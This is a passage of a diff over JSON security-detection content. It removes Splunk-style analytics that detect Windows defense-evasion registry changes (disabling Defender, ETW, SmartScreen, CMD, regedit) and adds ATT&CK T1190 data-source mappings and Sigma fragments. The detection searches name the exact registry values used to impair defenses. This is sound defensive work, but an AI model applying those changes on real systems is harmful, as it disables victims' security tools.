"target_data_element": "administration traffic" }, { - "name": "Disable Defender Submit Samples Consent Feature", - "description": "The following analytic detects the modification of the Windows registry to disable the Windows Defender Submit Samples Consent feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path associated with Windows Defender SpyNet and the SubmitSamplesConsent value set to 0x00000000. This activity is significant as it indicates an attempt to bypass or evade detection by preventing Windows Defender from submitting samples for further analysis. If confirmed malicious, this could allow an attacker to execute malicious code without being detected by Windows Defender, leading to potential system compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path = \"*\\\\Microsoft\\\\Windows Defender\\\\SpyNet*\" Registry.registry_value_name = SubmitSamplesConsent Registry.registry_value_data = 0x00000000) BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_defender_submit_samples_consent_feature_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "IcedID", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "modified/added/deleted registry entry $registry_path$ in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "technique_id": "T1190", + "technique": "Exploit Public-Facing Application", + "tactic": [ + "initial-access" + ], + "platform": [ + "Windows", + "IaaS", + "Network", + "Linux", + "macOS", + "Containers" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "dns traffic" }, { - "name": "Disable ETW Through Registry", - "description": "The following analytic detects modifications to the registry that disable the Event Tracing for Windows (ETW) feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework\\\\ETWEnabled\" with a value set to \"0x00000000\". This activity is significant because disabling ETW can allow attackers to evade detection mechanisms, making it harder for security tools to monitor malicious activities. If confirmed malicious, this could enable attackers to execute payloads with minimal alerts, impairing defenses and potentially leading to further compromise of the system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\.NETFramework\\\\ETWEnabled\" Registry.registry_value_data = \"0x00000000\") BY _time span=1h Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_etw_through_registry_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Ransomware", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Disable ETW Through Registry on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "technique_id": "T1190", + "technique": "Exploit Public-Facing Application", + "tactic": [ + "initial-access" + ], + "platform": [ + "Windows", + "IaaS", + "Network", + "Linux", + "macOS", + "Containers" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "encrypted traffic" }, { - "name": "Disable Registry Tool", - "description": "The following analytic detects modifications to the Windows registry aimed at disabling the Registry Editor (regedit). It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableRegistryTools\" with a value of \"0x00000001\". This activity is significant because malware, such as RATs or trojans, often disable registry tools to prevent the removal of their entries, aiding in persistence and defense evasion. If confirmed malicious, this could hinder incident response efforts and allow the attacker to maintain control over the compromised system.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableRegistryTools\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_registry_tool_filter`", - "tags": { - "analytic_story": [ - "NjRAT", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled Registry Tools on $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } + "technique_id": "T1190", + "technique": "Exploit Public-Facing Application", + "tactic": [ + "initial-access" + ], + "platform": [ + "Windows", + "IaaS", + "Network", + "Linux", + "macOS", + "Containers" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "mail traffic" }, { - "name": "Disable Schedule Task", - "description": "The following analytic detects the execution of a command to disable an existing scheduled task using 'schtasks.exe' with the '/change' and '/disable' parameters. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments. Disabling scheduled tasks is significant as it is a common tactic used by adversaries, including malware like IcedID, to disable security applications and evade detection. If confirmed malicious, this activity could allow attackers to persist undetected, disable critical security defenses, and further compromise the targeted host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=schtasks.exe Processes.process=*/change* Processes.process=*/disable* by Processes.user Processes.process_name Processes.process Processes.parent_process_name Processes.parent_process Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_schedule_task_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "schtask process with commandline $process$ to disable schedule task in $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "technique_id": "T1190", + "technique": "Exploit Public-Facing Application", + "tactic": [ + "initial-access" + ], + "platform": [ + "Windows", + "IaaS", + "Network", + "Linux", + "macOS", + "Containers" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "file transfer traffic" }, { - "name": "Disable Show Hidden Files", - "description": "The following analytic detects modifications to the Windows registry that disable the display of hidden files. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with hidden file settings. This activity is significant because malware, such as worms and trojan spyware, often use hidden files to evade detection. If confirmed malicious, this behavior could allow an attacker to conceal malicious files on the system, making it harder for security tools and analysts to identify and remove the threat.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\Hidden\" OR (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\HideFileExt\" Registry.registry_value_data = \"0x00000001\") OR (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced\\\\ShowSuperHidden\" Registry.registry_value_data = \"0x00000000\" )) BY _time span=1h Registry.user Registry.dest Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_show_hidden_files_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled 'Show Hidden Files' on $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1564.001", - "mitre_attack_technique": "Hidden Files and Directories", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "FIN13", - "HAFNIUM", - "Lazarus Group", - "LuminousMoth", - "Mustang Panda", - "Rocke", - "Transparent Tribe", - "Tropic Trooper" - ] - }, - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1564", - "mitre_attack_technique": "Hide Artifacts", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } + "technique_id": "T1190", + "technique": "Exploit Public-Facing Application", + "tactic": [ + "initial-access" + ], + "platform": [ + "Windows", + "IaaS", + "Network", + "Linux", + "macOS", + "Containers" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "web traffic" }, { - "name": "Disable Windows App Hotkeys", - "description": "The following analytic detects a suspicious registry modification aimed at disabling Windows hotkeys for native applications. It leverages data from the Endpoint.Registry data model, focusing on specific registry paths and values indicative of this behavior. This activity is significant as it can impair an analyst's ability to use essential tools like Task Manager and Command Prompt, hindering incident response efforts. If confirmed malicious, this technique can allow an attacker to maintain persistence and evade detection, complicating the remediation process.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path=\"*\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\*\" AND Registry.registry_value_data= \"HotKey Disabled\" AND Registry.registry_value_name = \"Debugger\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_windows_app_hotkeys_filter`", - "tags": { - "analytic_story": [ - "Windows Registry Abuse", - "XMRig" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Disabled 'Windows App Hotkeys' on $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } + "technique_id": "T1190", + "technique": "Exploit Public-Facing Application", + "tactic": [ + "initial-access" + ], + "platform": [ + "Windows", + "IaaS", + "Network", + "Linux", + "macOS", + "Containers" + ], + "data_source": "network traffic", + "definition": "Network traffic, either summarized (e.g., as netflow) or captured in some format (e.g., as PCAP). This may be captured at the endpoint or network level.", + "collection_layers": [ + "host", + "network", + "cloud" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "IaaS" + ], + "contributors": [ + "ATT&CK", + "CTID", + "ExtraHop" + ], + "data_component": "network traffic content", + "type": "information", + "description": "Information about the content of network packets and the protocols associated to them, either captured on the wire or on an endpoint.", + "source_data_element": "network traffic", + "relationship": "contained", + "target_data_element": "remote code execution traffic" }, { - "name": "Disable Windows Behavior Monitoring", - "description": "The following analytic identifies modifications in the registry to disable Windows Defender's real-time behavior monitoring. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with Windows Defender settings. This activity is significant because disabling real-time protection is a common tactic used by malware such as RATs, bots, or Trojans to evade detection. If confirmed malicious, this action could allow an attacker to execute code, escalate privileges, or persist in the environment without being detected by antivirus software.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\\DisableBehaviorMonitoring\" OR Registry.registry_path= \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\\DisableOnAccessProtection\" OR Registry.registry_path= \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\\DisableScanOnRealtimeEnable\" OR Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\\DisableRealtimeMonitoring\" OR Registry.registry_path= \"*\\\\Real-Time Protection\\\\DisableIntrusionPreventionSystem\" OR Registry.registry_path= \"*\\\\Real-Time Protection\\\\DisableIOAVProtection\" OR Registry.registry_path= \"*\\\\Real-Time Protection\\\\DisableScriptScanning\" AND Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_windows_behavior_monitoring_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CISA AA23-347A", - "Ransomware", - "RedLine Stealer", - "Revil Ransomware", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender real time behavior monitoring disabled on $dest", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } + "category": "webserver" }, { - "name": "Disable Windows SmartScreen Protection", - "description": "The following analytic detects modifications to the Windows registry that disable SmartScreen protection. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to registry paths associated with SmartScreen settings. This activity is significant because SmartScreen provides an early warning system against phishing and malware. Disabling it can indicate malicious intent, often seen in Remote Access Trojans (RATs) to evade detection while downloading additional payloads. If confirmed malicious, this action could allow attackers to bypass security measures, increasing the risk of successful phishing attacks and malware infections.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE Registry.registry_path IN (\"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\SmartScreenEnabled\", \"*\\\\Microsoft\\\\Windows\\\\System\\\\EnableSmartScreen\") Registry.registry_value_data IN (\"Off\", \"0\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disable_windows_smartscreen_protection_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows Smartscreen was disabled on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } + "selection": { + "c-uri-path": [ + "*/config/keystore/*.js*" ] - } + }, + "condition": "selection" }, { - "name": "Disabling CMD Application", - "description": "The following analytic detects modifications to the registry that disable the CMD prompt application. It leverages data from the Endpoint.Registry data model, specifically looking for changes to the \"DisableCMD\" registry value. This activity is significant because disabling CMD can hinder an analyst's ability to investigate and remediate threats, a tactic often used by malware such as RATs, Trojans, or Worms. If confirmed malicious, this could prevent security teams from using CMD for directory and file traversal, complicating incident response and allowing the attacker to maintain persistence.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\\DisableCMD\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_cmd_application_filter`", - "tags": { - "analytic_story": [ - "NjRAT", - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The Windows command prompt was disabled on $dest$ by $user$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1112", - "mitre_attack_technique": "Modify Registry", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN8", - "Gamaredon Group", - "Gorgon Group", - "Kimsuky", - "LuminousMoth", - "Magic Hound", - "Patchwork", - "Silence", - "TA505", - "Threat Group-3390", - "Turla", - "Wizard Spider" - ] - } - ] - } + "product": "windows", + "service": "system" }, { - "name": "Disabling ControlPanel", - "description": "The following analytic detects registry modifications that disable the Control Panel on Windows systems. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the registry path \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoControlPanel\" with a value of \"0x00000001\". This activity is significant as it is commonly used by malware to prevent users from accessing the Control Panel, thereby hindering the removal of malicious artifacts and persistence mechanisms. If confirmed malicious, this could allow attackers to maintain control over the infected machine and prevent remediation efforts.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoControlPanel\" Registry.registry_value_data = \"0x00000001\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`| where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `disabling_controlpanel_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } + "selection": { + "EventID": [ + 56, + 50 ], - "message": "The Windows Control Panel was disabled on $dest$ by $user$.", - "risk_score": 25, - "security_domain": 